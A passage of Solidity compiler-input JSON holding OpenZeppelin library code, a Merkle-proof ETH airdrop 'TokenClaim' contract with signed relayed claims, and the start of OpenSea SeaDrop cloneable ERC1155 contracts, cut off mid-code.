succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Counters.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title Counters\n * @author Matt Condon (@shrugs)\n * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number\n * of elements in a mapping, issuing ERC721 ids, or counting request ids.\n *\n * Include with `using Counters for Counters.Counter;`\n */\nlibrary Counters {\n struct Counter {\n // This variable should never be directly accessed by users of the library: interactions must be restricted to\n // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add\n // this feature: see https://github.com/ethereum/solidity/issues/4637\n uint256 _value; // default: 0\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n require(value > 0, \"Counter: decrement overflow\");\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.2) (utils/cryptography/MerkleProof.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev These functions deal with verification of Merkle Tree proofs.\n *\n * The tree and the proofs can be generated using our\n * https://github.com/OpenZeppelin/merkle-tree[JavaScript library].\n * You will find a quickstart guide in the readme.\n *\n * WARNING: You should avoid using leaf values that are 64 bytes long prior to\n * hashing, or use a hash function other than keccak256 for hashing leaves.\n * This is because the concatenation of a sorted pair of internal nodes in\n * the merkle tree could be reinterpreted as a leaf value.\n * OpenZeppelin's JavaScript library generates merkle trees that are safe\n * against this attack out of the box.\n */\nlibrary MerkleProof {\n /**\n * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree\n * defined by `root`. For this, a `proof` must be provided, containing\n * sibling hashes on the branch from the leaf to the root of the tree. Each\n * pair of leaves and each pair of pre-images are assumed to be sorted.\n */\n function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {\n return processProof(proof, leaf) == root;\n }\n\n /**\n * @dev Calldata version of {verify}\n *\n * _Available since v4.7._\n */\n function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {\n return processProofCalldata(proof, leaf) == root;\n }\n\n /**\n * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up\n * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt\n * hash matches the root of the tree. When processing the proof, the pairs\n * of leafs & pre-images are assumed to be sorted.\n *\n * _Available since v4.4._\n */\n function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {\n bytes32 computedHash = leaf;\n for (uint256 i = 0; i < proof.length; i++) {\n computedHash = _hashPair(computedHash, proof[i]);\n }\n return computedHash;\n }\n\n /**\n * @dev Calldata version of {processProof}\n *\n * _Available since v4.7._\n */\n function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {\n bytes32 computedHash = leaf;\n for (uint256 i = 0; i < proof.length; i++) {\n computedHash = _hashPair(computedHash, proof[i]);\n }\n return computedHash;\n }\n\n /**\n * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a merkle tree defined by\n * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.\n *\n * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.\n *\n * _Available since v4.7._\n */\n function multiProofVerify(\n bytes32[] memory proof,\n bool[] memory proofFlags,\n bytes32 root,\n bytes32[] memory leaves\n ) internal pure returns (bool) {\n return processMultiProof(proof, proofFlags, leaves) == root;\n }\n\n /**\n * @dev Calldata version of {multiProofVerify}\n *\n * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.\n *\n * _Available since v4.7._\n */\n function multiProofVerifyCalldata(\n bytes32[] calldata proof,\n bool[] calldata proofFlags,\n bytes32 root,\n bytes32[] memory leaves\n ) internal pure returns (bool) {\n return processMultiProofCalldata(proof, proofFlags, leaves) == root;\n }\n\n /**\n * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction\n * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another\n * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false\n * respectively.\n *\n * CAUTION: Not all merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree\n * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the\n * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).\n *\n * _Available since v4.7._\n */\n function processMultiProof(\n bytes32[] memory proof,\n bool[] memory proofFlags,\n bytes32[] memory leaves\n ) internal pure returns (bytes32 merkleRoot) {\n // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by\n // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the\n // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of\n // the merkle tree.\n uint256 leavesLen = leaves.length;\n uint256 proofLen = proof.length;\n uint256 totalHashes = proofFlags.length;\n\n // Check proof validity.\n require(leavesLen + proofLen - 1 == totalHashes, \"MerkleProof: invalid multiproof\");\n\n // The xxxPos values are \"pointers\" to the next value to consume in each array. All accesses are done using\n // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's \"pop\".\n bytes32[] memory hashes = new bytes32[](totalHashes);\n uint256 leafPos = 0;\n uint256 hashPos = 0;\n uint256 proofPos = 0;\n // At each step, we compute the next hash using two values:\n // - a value from the \"main queue\". If not all leaves have been consumed, we get the next leaf, otherwise we\n // get the next hash.\n // - depending on the flag, either another value from the \"main queue\" (merging branches) or an element from the\n // `proof` array.\n for (uint256 i = 0; i < totalHashes; i++) {\n bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];\n bytes32 b = proofFlags[i]\n ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])\n : proof[proofPos++];\n hashes[i] = _hashPair(a, b);\n }\n\n if (totalHashes > 0) {\n require(proofPos == proofLen, \"MerkleProof: invalid multiproof\");\n unchecked {\n return hashes[totalHashes - 1];\n }\n } else if (leavesLen > 0) {\n return leaves[0];\n } else {\n return proof[0];\n }\n }\n\n /**\n * @dev Calldata version of {processMultiProof}.\n *\n * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.\n *\n * _Available since v4.7._\n */\n function processMultiProofCalldata(\n bytes32[] calldata proof,\n bool[] calldata proofFlags,\n bytes32[] memory leaves\n ) internal pure returns (bytes32 merkleRoot) {\n // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by\n // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the\n // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of\n // the merkle tree.\n uint256 leavesLen = leaves.length;\n uint256 proofLen = proof.length;\n uint256 totalHashes = proofFlags.length;\n\n // Check proof validity.\n require(leavesLen + proofLen - 1 == totalHashes, \"MerkleProof: invalid multiproof\");\n\n // The xxxPos values are \"pointers\" to the next value to consume in each array. All accesses are done using\n // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's \"pop\".\n bytes32[] memory hashes = new bytes32[](totalHashes);\n uint256 leafPos = 0;\n uint256 hashPos = 0;\n uint256 proofPos = 0;\n // At each step, we compute the next hash using two values:\n // - a value from the \"main queue\". If not all leaves have been consumed, we get the next leaf, otherwise we\n // get the next hash.\n // - depending on the flag, either another value from the \"main queue\" (merging branches) or an element from the\n // `proof` array.\n for (uint256 i = 0; i < totalHashes; i++) {\n bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];\n bytes32 b = proofFlags[i]\n ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])\n : proof[proofPos++];\n hashes[i] = _hashPair(a, b);\n }\n\n if (totalHashes > 0) {\n require(proofPos == proofLen, \"MerkleProof: invalid multiproof\");\n unchecked {\n return hashes[totalHashes - 1];\n }\n } else if (leavesLen > 0) {\n return leaves[0];\n } else {\n return proof[0];\n }\n }\n\n function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {\n return a < b ? _efficientHash(a, b) : _efficientHash(b, a);\n }\n\n function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, a)\n mstore(0x20, b)\n value := keccak256(0x00, 0x40)\n }\n }\n}\n"
},
"contracts/TokenClaim.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.15;\r\n\r\nimport { MerkleProof } from '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';\r\nimport '@openzeppelin/contracts/token/ERC20/IERC20.sol';\r\nimport '@openzeppelin/contracts/utils/Address.sol';\r\nimport \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\r\nimport '@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol';\r\nimport \"@openzeppelin/contracts/utils/Counters.sol\";\r\ncontract TokenClaim is OwnableUpgradeable, EIP712Upgradeable {\r\n using Counters for Counters.Counter;\r\n\r\n error ClaimNumberTooHigh();\r\n error AlreadyClaimed();\r\n error MerkleFailed();\r\n error InvalidSignature();\r\n error InvalidBot();\r\n error TooMuchGas();\r\n\r\n event NewClaimAvailable(uint256 claimNumber);\r\n event Claimed(uint256 claimNumber, address indexed claimOwner, uint256 amount);\r\n \r\n bytes32 private constant _CLAIMONBEHALF_TYPEHASH =\r\n keccak256(\"ClaimOnBehalf(uint256 amount,uint256 claimNumber,uint256 gasLimit,uint256 maximumGas,address claimOwner,address claimBot,uint256 nonce,bytes32[] proof)\");\r\n\r\n bytes32[] public merkleRoots;\r\n mapping(address => bool[]) public claimed;\r\n mapping(address => Counters.Counter) private _nonces;\r\n\r\n struct Claim {\r\n uint256 amount;\r\n uint256 claimNumber;\r\n bytes32[] proof;\r\n }\r\n\r\n /// @custom:oz-upgrades-unsafe-allow constructor\r\n constructor() {\r\n _disableInitializers();\r\n }\r\n\r\n /** \r\n * Add a new proof and fill the claim pool with ETH. Can't police the amounts sent in. \r\n * @param root The root to set.\r\n */\r\n function addProof(bytes32 root) external payable onlyOwner {\r\n uint256 claimNumber = merkleRoots.length;\r\n merkleRoots.push(root);\r\n emit NewClaimAvailable(claimNumber);\r\n }\r\n\r\n function addEth() external payable onlyOwner {\r\n // Don't need to do anything just accept ETH\r\n }\r\n\r\n function claimInternal(address usr, uint256 amount, uint256 claimNumber, bytes32[] calldata proof) internal {\r\n if(claimed[usr].length == 0 || claimed[usr].length-1 < claimNumber) {\r\n // Claim doesn't hold a boolean for it yet, so add enough to get to claimNumber\r\n if (claimed[usr].length == 0) {\r\n // No bools held so push one\r\n claimed[usr].push(false);\r\n }\r\n while(claimed[usr].length-1 < claimNumber) {\r\n claimed[usr].push(false);\r\n } \r\n }\r\n if(claimed[usr][claimNumber]) {\r\n revert AlreadyClaimed();\r\n }\r\n // Generate the node\r\n bytes32 node = keccak256(bytes.concat(keccak256(abi.encode(usr, claimNumber, amount))));\r\n // Validate the proof\r\n if(!MerkleProof.verify(proof, merkleRoots[claimNumber], node)) {\r\n revert MerkleFailed();\r\n }\r\n // Send the airdrop AFTER setting claim flag to prevent reentrancy\r\n claimed[usr][claimNumber] = true;\r\n // Emit the claimed now \r\n emit Claimed(claimNumber, msg.sender, amount);\r\n }\r\n\r\n function multiClaim(Claim[] calldata claims) public {\r\n // Just iterate over the claims\r\n uint256 totalAmount = 0;\r\n for(uint256 i = 0; i < claims.length; i++) {\r\n // Ensure the claim number was not too high\r\n if(merkleRoots.length-1 < claims[i].claimNumber) {\r\n revert ClaimNumberTooHigh();\r\n }\r\n // Run the internal claim\r\n claimInternal(msg.sender, claims[i].amount, claims[i].claimNumber, claims[i].proof);\r\n // Add the claims up to send out at one time\r\n totalAmount += claims[i].amount;\r\n // Emit the claim output\r\n emit Claimed(claims[i].claimNumber, msg.sender, claims[i].amount);\r\n }\r\n // Send all of the claim ETH in one go\r\n Address.sendValue(payable(msg.sender), totalAmount);\r\n }\r\n\r\n /**\r\n * Claim function. Requires merkle proof.\r\n * @param amount amount of ETH to claim\r\n * @param proof the Merkle proof\r\n */\r\n function claim(uint256 amount, uint256 claimNumber, bytes32[] calldata proof) public {\r\n // Ensure we've got that many claims \r\n if(merkleRoots.length-1 < claimNumber) {\r\n revert ClaimNumberTooHigh();\r\n }\r\n claimInternal(msg.sender, amount, claimNumber, proof);\r\n Address.sendValue(payable(msg.sender), amount);\r\n \r\n }\r\n\r\n function claimOnBehalf(uint256 amount, uint256 claimNumber, uint256 gasLimit, uint256 maximumGas, address claimOwner, address claimBot, bytes32[] calldata proof, uint8 v, bytes32 r, bytes32 s) public {\r\n // Bot and signature validation stuff\r\n if(claimBot != msg.sender) {\r\n revert InvalidBot();\r\n }\r\n // Generate the EIP712 struct hash\r\n bytes32 structHash = keccak256(abi.encode(_CLAIMONBEHALF_TYPEHASH, amount, claimNumber, gasLimit, maximumGas, claimOwner, claimBot, _useNonce(claimOwner), proof));\r\n // Combine it with the type hash\r\n bytes32 hash = _hashTypedDataV4(structHash);\r\n // Recover the signer\r\n address signer = ECDSAUpgradeable.recover(hash, v, r, s);\r\n // Validate the claimOwner is the signer\r\n if(signer != claimOwner) {\r\n revert InvalidSignature();\r\n }\r\n // Actually parse the claim now\r\n if(merkleRoots.length-1 < claimNumber) {\r\n revert ClaimNumberTooHigh();\r\n }\r\n claimInternal(claimOwner, amount, claimNumber, proof);\r\n // Calculate gas\r\n uint256 gasPaid = gasLimit*tx.gasprice;\r\n // Revert if it's over the max they signed for\r\n if(gasPaid > maximumGas) {\r\n revert TooMuchGas();\r\n }\r\n // Pay gas out\r\n Address.sendValue(payable(msg.sender), gasPaid);\r\n // Pay remainder out\r\n Address.sendValue(payable(claimOwner), amount-gasPaid);\r\n }\r\n\r\n // Shamelessly lifted from ERC20Permit, because it's MIT and why reinvent the wheel\r\n function _useNonce(address nonceOwner) internal virtual returns (uint256 current) {\r\n Counters.Counter storage nonce = _nonces[nonceOwner];\r\n current = nonce.current();\r\n nonce.increment();\r\n }\r\n\r\n function nonces(address nonceOwner) public view virtual returns (uint256) {\r\n return _nonces[nonceOwner].current();\r\n }\r\n\r\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 2000
},
"viaIR": true,
"evmVersion": "paris",
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
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{{
"language": "Solidity",
"sources": {
"src/clones/ERC1155SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ERC1155SeaDropContractOffererCloneable\n} from \"./ERC1155SeaDropContractOffererCloneable.sol\";\n\n/**\n * @title ERC1155SeaDropCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropCloneable is ERC1155SeaDropContractOffererCloneable {\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * implementation code. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function initialize(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_,\n address initialOwner\n ) public initializer {\n // Initialize ownership.\n _initializeOwner(initialOwner);\n\n // Initialize ERC1155SeaDropContractOffererCloneable.\n __ERC1155SeaDropContractOffererCloneable_init(\n allowedConfigurer,\n allowedSeaport,\n name_,\n symbol_\n );\n }\n\n /**\n * @dev Auto-approve the conduit after mint or transfer.\n *\n * @custom:param from The address to transfer from.\n * @param to The address to transfer to.\n * @custom:param ids The token ids to transfer.\n * @custom:param amounts The quantities to transfer.\n * @custom:param data The data to pass if receiver is a contract.\n */\n function _afterTokenTransfer(\n address /* from */,\n address to,\n uint256[] memory /* ids */,\n uint256[] memory /* amounts */,\n bytes memory /* data */\n ) internal virtual override {\n // Auto-approve the conduit.\n if (to != address(0) && !isApprovedForAll(to, _CONDUIT)) {\n _setApprovalForAll(to, _CONDUIT, true);\n }\n }\n\n /**\n * @dev Override this function to return true if `_afterTokenTransfer` is\n * used. The is to help the compiler avoid producing dead bytecode.\n */\n function _useAfterTokenTransfer()\n internal\n view\n virtual\n override\n returns (bool)\n {\n return true;\n }\n\n /**\n * @notice Burns a token, restricted to the owner or approved operator,\n * and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function burn(address from, uint256 id, uint256 amount) external {\n // Burn the token.\n _burn(msg.sender, from, id, amount);\n }\n\n /**\n * @notice Burns a batch of tokens, restricted to the owner or\n * approved operator, and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn per token id.\n */\n function batchBurn(\n address from,\n uint256[] calldata ids,\n uint256[] calldata amounts\n ) external {\n // Burn the tokens.\n _batchBurn(msg.sender, from, ids, amounts);\n }\n}\n"
},
"src/clones/ERC1155SeaDropContractOffererCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { IERC1155SeaDrop } from \"../interfaces/IERC1155SeaDrop.sol\";\n\nimport { ISeaDropToken } from \"../interfaces/ISeaDropToken.sol\";\n\nimport {\n ERC1155ContractMetadataCloneable\n} from \"./ERC1155ContractMetadataCloneable.sol\";\n\nimport {\n ERC1155SeaDropContractOffererStorage\n} from \"../lib/ERC1155SeaDropContractOffererStorage.sol\";\n\nimport {\n ERC1155SeaDropErrorsAndEvents\n} from \"../lib/ERC1155SeaDropErrorsAndEvents.sol\";\n\nimport { PublicDrop } from \"../lib//ERC1155SeaDropStructs.sol\";\n\nimport { AllowListData } from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { SpentItem } from \"seaport-types/src/lib/ConsiderationStructs.sol\";\n\nimport {\n ContractOffererInterface\n} from \"seaport-types/src/interfaces/ContractOffererInterface.sol\";\n\nimport {\n IERC165\n} from \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC1155SeaDropContractOffererCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropContractOffererCloneable is\n ERC1155ContractMetadataCloneable,\n ERC1155SeaDropErrorsAndEvents\n{\n using ERC1155SeaDropContractOffererStorage for ERC1155SeaDropContractOffererStorage.Layout;\n\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155SeaDropContractOffererCloneable_init(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the allowed Seaport to interact with this contract.\n if (allowedSeaport == address(0)) {\n revert AllowedSeaportCannotBeZeroAddress();\n }\n ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n allowedSeaport\n ] = true;\n\n // Set the allowed Seaport enumeration.\n address[] memory enumeratedAllowedSeaport = new address[](1);\n enumeratedAllowedSeaport[0] = allowedSeaport;\n ERC1155SeaDropContractOffererStorage\n .layout()\n ._enumeratedAllowedSeaport = enumeratedAllowedSeaport;\n\n // Emit an event noting the contract deployment.\n emit SeaDropTokenDeployed(SEADROP_TOKEN_TYPE.ERC1155_CLONE);\n\n // Initialize ERC1155ContractMetadataCloneable.\n __ERC1155ContractMetadataCloneable_init(\n allowedConfigurer,\n name_,\n symbol_\n );\n }\n\n /**\n * @notice The fallback function is used as a dispatcher for SeaDrop\n * methods.\n */\n fallback(bytes calldata) external returns (bytes memory output) {\n // Get the function selector.\n bytes4 selector = msg.sig;\n\n // Get the rest of the msg data after the selector.\n bytes calldata data = msg.data[4:];\n\n // Determine if we should forward the call to the implementation\n // contract with SeaDrop logic.\n bool callSeaDropImplementation = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == ISeaDropToken.updateSigner.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector ||\n selector == ContractOffererInterface.previewOrder.selector ||\n selector == ContractOffererInterface.generateOrder.selector ||\n selector == ContractOffererInterface.getSeaportMetadata.selector ||\n selector == IERC1155SeaDrop.getPublicDrop.selector ||\n selector == IERC1155SeaDrop.getPublicDropIndexes.selector ||\n selector == ISeaDropToken.getAllowedSeaport.selector ||\n selector == ISeaDropToken.getCreatorPayouts.selector ||\n selector == ISeaDropToken.getAllowListMerkleRoot.selector ||\n selector == ISeaDropToken.getAllowedFeeRecipients.selector ||\n selector == ISeaDropToken.getSigners.selector ||\n selector == ISeaDropToken.getDigestIsUsed.selector ||\n selector == ISeaDropToken.getPayers.selector;\n\n // Determine if we should require only the owner or configurer calling.\n bool requireOnlyOwnerOrConfigurer = selector ==\n 